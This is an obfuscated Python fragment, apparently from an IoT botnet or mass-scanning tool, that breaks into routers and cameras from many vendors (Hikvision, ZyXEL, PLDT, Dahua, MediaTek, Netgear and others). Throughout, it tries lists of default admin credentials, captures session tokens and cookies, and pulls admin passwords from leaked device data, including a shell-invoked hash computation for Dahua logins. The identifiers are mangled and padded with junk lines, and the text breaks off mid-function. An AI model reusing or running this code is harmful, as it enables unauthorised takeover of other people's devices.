if 'status": "ok"' in O0Oooo0ooo0 [ I11i1I ] :
IiIi11iii [ iiIii1I1i1 ] += 'OK'
ooOoO0o [ iiIii1I1i1 ] += 1
if 59 - 59: IIiIIiIii1I
if iii == 'hikweb' :
if ooOoO0o [ iiIii1I1i1 ] <= 10 :
if 33 - 33: OOooOO0 + i1
if 'Reboot Required' in O0Oooo0ooo0 [ I11i1I ] :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
if 99 - 99: i1IIi1i1iiI . IIiIii1iI + o0ooO
elif 'Value>200</status' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '12345'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNDU='
ooOoO0o [ iiIii1I1i1 ] = 10
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46YWRtaW4='
ooOoO0o [ iiIii1I1i1 ] = 10
elif ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '1234'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNA=='
ooOoO0o [ iiIii1I1i1 ] = 10
elif ooOoO0o [ iiIii1I1i1 ] == 3 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '888888'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46ODg4ODg4'
ooOoO0o [ iiIii1I1i1 ] = 10
elif ooOoO0o [ iiIii1I1i1 ] == 4 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '54321'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46NTQzMjE='
ooOoO0o [ iiIii1I1i1 ] = 10
elif ooOoO0o [ iiIii1I1i1 ] == 5 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '123456'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNDU2'
ooOoO0o [ iiIii1I1i1 ] = 10
elif ooOoO0o [ iiIii1I1i1 ] == 6 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '111111'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTExMTEx'
ooOoO0o [ iiIii1I1i1 ] = 10
elif ooOoO0o [ iiIii1I1i1 ] == 7 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '654321'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46NjU0MzIx'
ooOoO0o [ iiIii1I1i1 ] = 10
elif ooOoO0o [ iiIii1I1i1 ] == 8 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '123456789abc'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNDU2Nzg5YWJj'
ooOoO0o [ iiIii1I1i1 ] = 10
elif ooOoO0o [ iiIii1I1i1 ] == 9 :
if 39 - 39: I11I1Ii
pass
elif ooOoO0o [ iiIii1I1i1 ] == 10 :
if 40 - 40: oOOo0000o * i1 * IIiII
pass
else :
if ooOoO0o [ iiIii1I1i1 ] >= 10 :
ooOoO0o [ iiIii1I1i1 ] = 99
if IiIi11iii [ iiIii1I1i1 ] == 'n' :
if 94 - 94: i1IIi1i1iiI + IIiIii1iI - Oo0 - o0ooO
o0O00OO [ iiIii1I1i1 ] = time . time ( ) + 60
ooOoO0o [ iiIii1I1i1 ] += 1
if 58 - 58: o0oooooO - OOooOO0 + Oo0 - Oo0Oo
if iii == 'sify' :
if ooOoO0o [ iiIii1I1i1 ] <= 0 :
if 71 - 71: Oo0 % Oo0
IIIoOo = re . search ( 'Location: /cgi-bin/luci/;stok=([a-f0-9]+)' , O0Oooo0ooo0 [ I11i1I ] )
I1I11 = re . search ( 'Set-Cookie: sysauth=([a-f0-9]+);' , O0Oooo0ooo0 [ I11i1I ] )
if IIIoOo and I1I11 :
IiiI1II1111I1 [ iiIii1I1i1 ] = IIIoOo . group ( 1 )
ooOo [ iiIii1I1i1 ] = I1I11 . group ( 1 )
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOoO0o [ iiIii1I1i1 ] = 0
else :
if ooOoO0o [ iiIii1I1i1 ] >= 0 :
ooOoO0o [ iiIii1I1i1 ] = 99
else :
pass
ooOoO0o [ iiIii1I1i1 ] += 1
if 50 - 50: OOooOO0 + i1 . Oo0
if iii == 'zyxelp660' :
if ooOoO0o [ iiIii1I1i1 ] <= 1 :
if 89 - 89: IIiIii1iI / O0oo
if 8 - 8: IIiIii1iI * oOoO0Ooo * Oo0 / IIiIii1iI * Oo0Oo + Ii11i1iIi
if not '/rpAuth' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '1234'
ooOoO0o [ iiIii1I1i1 ] = 1
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOoO0o [ iiIii1I1i1 ] = 1
else :
if ooOoO0o [ iiIii1I1i1 ] >= 1 :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 64 - 64: o0ooO / IIiII % Oooo - IIiIIiIii1I + OOooOO0 * Ii
if iii == 'supernet' :
if 30 - 30: i1
if ooOoO0o [ iiIii1I1i1 ] <= 0 :
if '200 OK' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOoO0o [ iiIii1I1i1 ] = 0
else :
if ooOoO0o [ iiIii1I1i1 ] >= 0 :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 75 - 75: I11I1Ii / IIiII + Oo0Oo
if iii == 'realtron' :
if 11 - 11: Oooo - Oo0Oo % IIiII - i1
if ooOoO0o [ iiIii1I1i1 ] <= 3 :
if '200 OK' in O0Oooo0ooo0 [ I11i1I ] and not 'Failed' in O0Oooo0ooo0 [ I11i1I ] and not 'enter a username and password when prompted' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46YWRtaW4='
ooOoO0o [ iiIii1I1i1 ] = 3
if ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46YWRtaW4='
ooOoO0o [ iiIii1I1i1 ] = 3
if ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '1234'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNA=='
ooOoO0o [ iiIii1I1i1 ] = 3
if ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'password'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46cGFzc3dvcmQ='
ooOoO0o [ iiIii1I1i1 ] = 3
else :
if ooOoO0o [ iiIii1I1i1 ] >= 3 :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 71 - 71: Oo0Oo % Ii11i1iIi . o0oooooO * Ii11i1iIi % OOooOO0
if iii == 'pldtmydsl' :
if ooOoO0o [ iiIii1I1i1 ] <= 0 :
if 51 - 51: oOOo0000o * i1IIi1i1iiI % Oooo * i1 - O0oo . oOoO0Ooo
Oo00oO0O = re . search ( 'SESSION=(\d+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '1234'
ooOoO0o [ iiIii1I1i1 ] = 0
else :
if ooOoO0o [ iiIii1I1i1 ] >= 0 :
ooOoO0o [ iiIii1I1i1 ] = 99
else :
if 77 - 77: O0oo
Oo00oO0O = re . search ( 'SESSION=(\d+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
ooOoO0o [ iiIii1I1i1 ] += 1
if 96 - 96: oOoO0Ooo
if iii == 'pldtfibr' :
if ooOoO0o [ iiIii1I1i1 ] <= 2 :
if 40 - 40: IIiIii1iI % OOooOO0
if '/menu_pldt.asp' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'adminpldt'
IIi1i [ iiIii1I1i1 ] = '0123456789'
ooOoO0o [ iiIii1I1i1 ] = 2
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'adminpldt'
IIi1i [ iiIii1I1i1 ] = '1234567890'
ooOoO0o [ iiIii1I1i1 ] = 2
elif ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '1234'
ooOoO0o [ iiIii1I1i1 ] = 2
else :
if ooOoO0o [ iiIii1I1i1 ] >= 2 :
ooOoO0o [ iiIii1I1i1 ] = 99
if ooOoO0o [ iiIii1I1i1 ] == 3 :
IIIiI [ iiIii1I1i1 ] = '' . join ( random . choice ( 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678901234567890123456789' ) for i in range ( 8 ) )
ooOoO0o [ iiIii1I1i1 ] += 1
if 38 - 38: I11I1Ii . i1 / o0oooooO % oOOoO00oo0 / IIiIIiIii1I * i1IIi1i1iiI
if iii == 'foscamold' :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
if 87 - 87: OOooOO0 - Oooo + IIiII / oOOo0000o
if 'HTTP/1.1 200 O' in O0Oooo0ooo0 [ I11i1I ] :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = ''
else :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 88 - 88: oOoO0Ooo . IIiII + IIiII
if iii == 'telkomdlink' :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
if 36 - 36: oOoO0Ooo * Oo0 - oOOo0000o / OOooOO0
if 'HTTP/1.1 200 O' in O0Oooo0ooo0 [ I11i1I ] :
IiIi11iii [ iiIii1I1i1 ] = 'support'
IIi1i [ iiIii1I1i1 ] = 'TelkomDlink12345'
else :
ooOoO0o [ iiIii1I1i1 ] = 99
else :
if 'sessionKey' in O0Oooo0ooo0 [ I11i1I ] :
Oo00oO0O = re . search ( 'sessionKey=\'?(\d+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
if 20 - 20: Oooo % Oo0Oo * Oooo % IIiII * IIiIii1iI / IIiIIiIii1I
ooOoO0o [ iiIii1I1i1 ] += 1
if 4 - 4: OOooOO0 + IIiII % O0oo0OOOOO00
if iii == 'aztechweb' :
if ooOoO0o [ iiIii1I1i1 ] <= 4 :
if 64 - 64: I11I1Ii - Ii11i1iIi + OOooOO0 * Oooo
Oo00oO0O = re . search ( 'SESSIONID=(\d+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOoO0o [ iiIii1I1i1 ] = 4
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'bayandsl'
ooOoO0o [ iiIii1I1i1 ] = 4
elif ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'epicrouter'
ooOoO0o [ iiIii1I1i1 ] = 4
elif ooOoO0o [ iiIii1I1i1 ] == 3 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'password'
ooOoO0o [ iiIii1I1i1 ] = 4
elif ooOoO0o [ iiIii1I1i1 ] == 4 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = ''
ooOoO0o [ iiIii1I1i1 ] = 4
else :
if ooOoO0o [ iiIii1I1i1 ] >= 4 :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 80 - 80: i1IIi1i1iiI + IIiIii1iI - OOOoOooO - i1IIi1i1iiI
if iii == 'netgeardgn1022' :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 40 - 40: OOooOO0 . IIiII % oOOo0000o
if iii == 'netgearr7064' :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 87 - 87: O0oo0OOOOO00
if iii == 'vacron' :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 80 - 80: I11I1Ii * Ii % o0ooO
if iii == 'jaws' :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 67 - 67: o0ooO . Oo0 . OOOoOooO * o0ooO * o0oooooO % I11I1Ii
if iii == 'readynas' :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 4 - 4: Oo0Oo - IIiIii1iI
if iii == 'airosfile' :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 93 - 93: O0oo / I11I1Ii
if iii == 'xionghash' :
if 92 - 92: Ii11i1iIi + IIiIii1iI / oOOoO00oo0 % OOooOO0 % IIiIIiIii1I * IIiIii1iI
if 59 - 59: IIiII * IIiIii1iI
if 81 - 81: I11I1Ii % o0oooooO / oOOo0000o / o0oooooO * OOooOO0
ooO000OoOO0 = re . sub ( "[\r\n]" , '' , O0Oooo0ooo0 [ I11i1I ] )
Oo00oO0O = re . search ( 'Name"\s+:\s+"admin",.*?"Password"\s+:\s+"([A-Za-z0-9]{8})"' , ooO000OoOO0 )
if Oo00oO0O :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
ooOoO0o [ iiIii1I1i1 ] += 1
if 93 - 93: oOOo0000o % I11I1Ii
if iii == 'mediatekajax' :
if 62 - 62: oOOo0000o % Oooo / i1
if ooOoO0o [ iiIii1I1i1 ] <= 5 :
if '?sid=' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOoO0o [ iiIii1I1i1 ] = 5
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin123'
ooOoO0o [ iiIii1I1i1 ] = 5
elif ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin1234'
ooOoO0o [ iiIii1I1i1 ] = 5
elif ooOoO0o [ iiIii1I1i1 ] == 3 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'password'
ooOoO0o [ iiIii1I1i1 ] = 5
elif ooOoO0o [ iiIii1I1i1 ] == 4 :
IiIi11iii [ iiIii1I1i1 ] = 'user'
IIi1i [ iiIii1I1i1 ] = 'user'
ooOoO0o [ iiIii1I1i1 ] = 5
elif ooOoO0o [ iiIii1I1i1 ] == 5 :
IiIi11iii [ iiIii1I1i1 ] = 'guest'
IIi1i [ iiIii1I1i1 ] = 'guest'
ooOoO0o [ iiIii1I1i1 ] = 5
else :
if ooOoO0o [ iiIii1I1i1 ] >= 5 :
ooOoO0o [ iiIii1I1i1 ] = 99
if 72 - 72: IIiII / I11I1Ii
Oo00oO0O = re . search ( '\?sid=([a-zA-Z0-9]+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
ooOoO0o [ iiIii1I1i1 ] += 1
if 83 - 83: I11I1Ii + IIiII - oOOoO00oo0 / i1IIi1i1iiI - i1IIi1i1iiI
if iii == 'mediatekwimax' :
if 8 - 8: O0oo0OOOOO00 + oOoO0Ooo / o0ooO
if ooOoO0o [ iiIii1I1i1 ] <= 3 :
if 26 - 26: Oo0 - Oooo % OOOoOooO
if '?WWW_SID=SID' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOoO0o [ iiIii1I1i1 ] = 3
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'user'
IIi1i [ iiIii1I1i1 ] = 'user'
ooOoO0o [ iiIii1I1i1 ] = 3
elif ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'guest'
IIi1i [ iiIii1I1i1 ] = 'guest'
ooOoO0o [ iiIii1I1i1 ] = 3
elif ooOoO0o [ iiIii1I1i1 ] == 3 :
IiIi11iii [ iiIii1I1i1 ] = 'guest'
IIi1i [ iiIii1I1i1 ] = 'linkem123'
ooOoO0o [ iiIii1I1i1 ] = 3
else :
if ooOoO0o [ iiIii1I1i1 ] >= 3 :
ooOoO0o [ iiIii1I1i1 ] = 99
if 34 - 34: I11I1Ii / IIiIii1iI * oOOoO00oo0 - O0oo0OOOOO00 * IIiIIiIii1I . IIiII
Oo00oO0O = re . search ( '\?WWW_SID=(SID\d+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
ooOoO0o [ iiIii1I1i1 ] += 1
if 90 - 90: oOoO0Ooo . oOOo0000o
if iii == 'mediatekrpc' :
if 45 - 45: IIiII . Oooo / Oo0Oo / o0ooO . I11I1Ii
if ooOoO0o [ iiIii1I1i1 ] <= 2 :
if '?WWW_SID=' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOoO0o [ iiIii1I1i1 ] = 2
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'user'
IIi1i [ iiIii1I1i1 ] = 'user'
ooOoO0o [ iiIii1I1i1 ] = 2
elif ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'guest'
IIi1i [ iiIii1I1i1 ] = 'guest'
ooOoO0o [ iiIii1I1i1 ] = 2
else :
if ooOoO0o [ iiIii1I1i1 ] >= 2 :
ooOoO0o [ iiIii1I1i1 ] = 99
if 85 - 85: OOOoOooO + Oo0Oo * IIiII / i1 - oOOoO00oo0
Oo00oO0O = re . search ( '\?WWW_SID=([A-Z0-9]+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
ooOoO0o [ iiIii1I1i1 ] += 1
if 4 - 4: O0oo . O0oo0OOOOO00 * o0ooO / IIiIii1iI - IIiII - Ii
if iii == 'mdmweb' :
if 99 - 99: IIiIii1iI + OOOoOooO . oOOo0000o
if ooOoO0o [ iiIii1I1i1 ] == 0 :
if 31 - 31: oOOoO00oo0 % i1
Oo00oO0O = re . search ( '"result":"0".*"token":"([^"]+)"' , O0Oooo0ooo0 [ I11i1I ] ) ;
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
if 43 - 43: Oooo * Oooo
ooOoO0o [ iiIii1I1i1 ] = 1
if 48 - 48: oOOoO00oo0 % I11I1Ii - IIiIii1iI
if 1 - 1: i1IIi1i1iiI + Ii . o0ooO
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
if 78 - 78: IIiII
Oo00oO0O = re . search ( '"result":"0".*"token":"([^"]+)"' , O0Oooo0ooo0 [ I11i1I ] ) ;
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
if 29 - 29: i1 * Oooo
else :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 51 - 51: OOOoOooO
if iii == 'dahua' :
if 54 - 54: Oooo
if ooOoO0o [ iiIii1I1i1 ] == 0 :
if 34 - 34: I11I1Ii + Oo0 + OOOoOooO * oOOoO00oo0 / i1IIi1i1iiI % oOOoO00oo0
ii1i1Ii = O0Oooo0ooo0 [ I11i1I ] . split ( '\n' )
i1iiIiIIIiI = [ ]
for III1I in ii1i1Ii :
if 49 - 49: Ii11i1iIi / o0oooooO
Oo00oO0O = re . search ( '^\d:([^:]+):([^:]+):\d+\S+,\s+\S+,' , III1I )
if Oo00oO0O :
i1iiIiIIIiI . append ( Oo00oO0O . group ( 1 ) + "/" + Oo00oO0O . group ( 2 ) )
if len ( i1iiIiIIIiI ) > 0 :
OO0O = - 1
for iIiI1iiiii11II1 in range ( len ( i1iiIiIIIiI ) ) :
if 'admin/' in i1iiIiIIIiI [ iIiI1iiiii11II1 ] :
OO0O = iIiI1iiiii11II1
break
if '888888/' in i1iiIiIIIiI [ iIiI1iiiii11II1 ] :
OO0O = iIiI1iiiii11II1
break
if OO0O < 0 :
if 50 - 50: O0oo0OOOOO00 + i1IIi1i1iiI
if 'default/' in i1iiIiIIIiI [ 0 ] and len ( i1iiIiIIIiI ) > 1 :
OO0O = 1
else :
OO0O = 0
IiiI1II1111I1 [ iiIii1I1i1 ] = i1iiIiIIIiI [ OO0O ] . split ( '/' ) [ 0 ]
iIiIi1II11 [ iiIii1I1i1 ] = i1iiIiIIIiI [ OO0O ] . split ( '/' ) [ 1 ]
Ii1ii [ iiIii1I1i1 ] = 'OldDigest'
IiIi11iii [ iiIii1I1i1 ] = IiiI1II1111I1 [ iiIii1I1i1 ]
IIi1i [ iiIii1I1i1 ] = iIiIi1II11 [ iiIii1I1i1 ]
if len ( iIiIi1II11 [ iiIii1I1i1 ] ) == 32 :
if 52 - 52: I11I1Ii
OOoOoooOo0 = 1
Ii1ii [ iiIii1I1i1 ] = 'Default'
else :
if 69 - 69: oOOoO00oo0 + IIiIii1iI + O0oo * o0oooooO - i1 * Oo0
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
if 12 - 12: oOoO0Ooo * i1
Oo00oO0O = re . search ( '"session"\s*:\s*(\d+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
if 67 - 67: Oooo
ooOo [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
if 86 - 86: Oo0Oo / IIiIii1iI / Oooo
if 77 - 77: oOOoO00oo0
if len ( iIiIi1II11 [ iiIii1I1i1 ] ) == 32 :
Oo00oO0O = re . search ( '"random"\s*:\s*"?(\d+)"?' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
if 47 - 47: IIiIii1iI
o00Oo0Oo0O = IiIi11iii [ iiIii1I1i1 ] + ":" + Oo00oO0O . group ( 1 ) + ":" + iIiIi1II11 [ iiIii1I1i1 ]
if 68 - 68: Ii11i1iIi
ii1iI1Ii = ''
if 5 - 5: Oo0 . Oo0Oo
if 1 :
iII1Ii1iIiIII = subprocess . Popen ( 'echo -n ' + o00Oo0Oo0O + '|md5sum' , shell = True , stdout = subprocess . PIPE )
O0 = iII1Ii1iIiIII . communicate ( ) [ 0 ]
Oo00oO0O = re . search ( '([a-f0-9]{32})' , O0 )
if Oo00oO0O :
iIiIi1II11 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 ) . upper ( )
if 41 - 41: oOOo0000o % Oooo - Oooo / OOOoOooO % oOOo0000o
if 88 - 88: O0oo0OOOOO00 / Ii . Ii11i1iIi + Ii . O0oo
ooOoO0o [ iiIii1I1i1 ] += 1
IIiiI [ I11i1I ] = time . time ( )
Ooo000Oo [ I11i1I ] = I1I1IIi1i1I [ iiIii1I1i1 ] [ ooOoO0o [ iiIii1I1i1 ] ]
O0o00oO ( sock , I11i1I , iiIii1I1i1 )
return
if 16 - 16: IIiIii1iI + Oooo * Ii11i1iIi
if 9 - 9: Oooo
if 55 - 55: oOOoO00oo0
if 58 - 58: i1 / o0ooO * oOOoO00oo0
else :
if 18 - 18: o0oooooO % IIiII % oOoO0Ooo % Oo0Oo
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
else :
if O0oOO [ iiIii1I1i1 ] :
if 55 - 55: IIiIii1iI * o0oooooO . i1 % i1IIi1i1iiI / o0oooooO
ooOoO0o [ iiIii1I1i1 ] += 1
if ooOoO0o [ iiIii1I1i1 ] >= len ( I1I1IIi1i1I [ iiIii1I1i1 ] ) - 1 :
if 13 - 13: Oo0 + i1 + OOooOO0 / I11I1Ii
O0oOO [ iiIii1I1i1 ] = 0
OOoOoooOo0 = 0
try :
sock . close ( )
except :
pass
else :
IIiiI [ I11i1I ] = time . time ( )
Ooo000Oo [ I11i1I ] = I1I1IIi1i1I [ iiIii1I1i1 ] [ ooOoO0o [ iiIii1I1i1 ] ]
O0o00oO ( sock , I11i1I , iiIii1I1i1 )
return
else :
ooOoO0o [ iiIii1I1i1 ] += 1
if 19 - 19: o0ooO % IIiII * Oo0 . O0oo - IIiIii1iI * Ii
if 88 - 88: o0oooooO % o0oooooO * o0ooO * i1 - O0oo
if O0oOO [ iiIii1I1i1 ] :
if 73 - 73: IIiIii1iI
Ii111i11iIi ( "NOTC: Untrapped keepalive" )
try :
sock . close ( )
except :
pass
if OOoOoooOo0 :
if 42 - 42: I11I1Ii
O0oOO [ iiIii1I1i1 ] = OOoOoooOo0
if 16 - 16: o0oooooO
if 73 - 73: o0oooooO + O0oo0OOOOO00
if 100 - 100: oOOoO00oo0 % o0oooooO % Oo0Oo
if 21 - 21: oOoO0Ooo * i1IIi1i1iiI + Oo0 + IIiII * O0oo0OOOOO00 - i1IIi1i1iiI
if 5 - 5: O0oo0OOOOO00 % IIiII
if 24 - 24: Ii11i1iIi / OOOoOooO + I11I1Ii + o0oooooO
Iioo0OooOoO = time . time ( )
if o0O00OO [ iiIii1I1i1 ] <= Iioo0OooOoO :
o0O00OO [ iiIii1I1i1 ] = time . time ( ) + iI1iiii11I11I
OO0 [ iiIii1I1i1 ] = None
if 58 - 58: IIiIii1iI - oOOoO00oo0 - OOOoOooO + Ii
i11IiiI1I . remove ( sock )
o0o0000OO [ I11i1I ] = None
IIi1i1iiii1Ii [ I11i1I ] = None
Ooo000Oo [ I11i1I ] = None
O0Oooo0ooo0 [ I11i1I ] = None
IIiiI [ I11i1I ] = None
O0000o0 [ I11i1I ] = None
if 10 - 10: oOOoO00oo0 / i1IIi1i1iiI % IIiIIiIii1I
def OooOo0o0oO0 ( ) :
Iioo0OooOoO = time . time ( )
OO00ooo0 = O000oo0
for IIIiiiI in OO00ooo0 :
iiIii1I1i1 = hash ( IIIiiiI )
if 68 - 68: IIiIii1iI - o0ooO % o0oooooO + Ii11i1iIi / OOooOO0
if OO0 [ iiIii1I1i1 ] == None :
if 97 - 97: oOoO0Ooo + IIiIIiIii1I . O0oo0OOOOO00 + IIiIIiIii1I
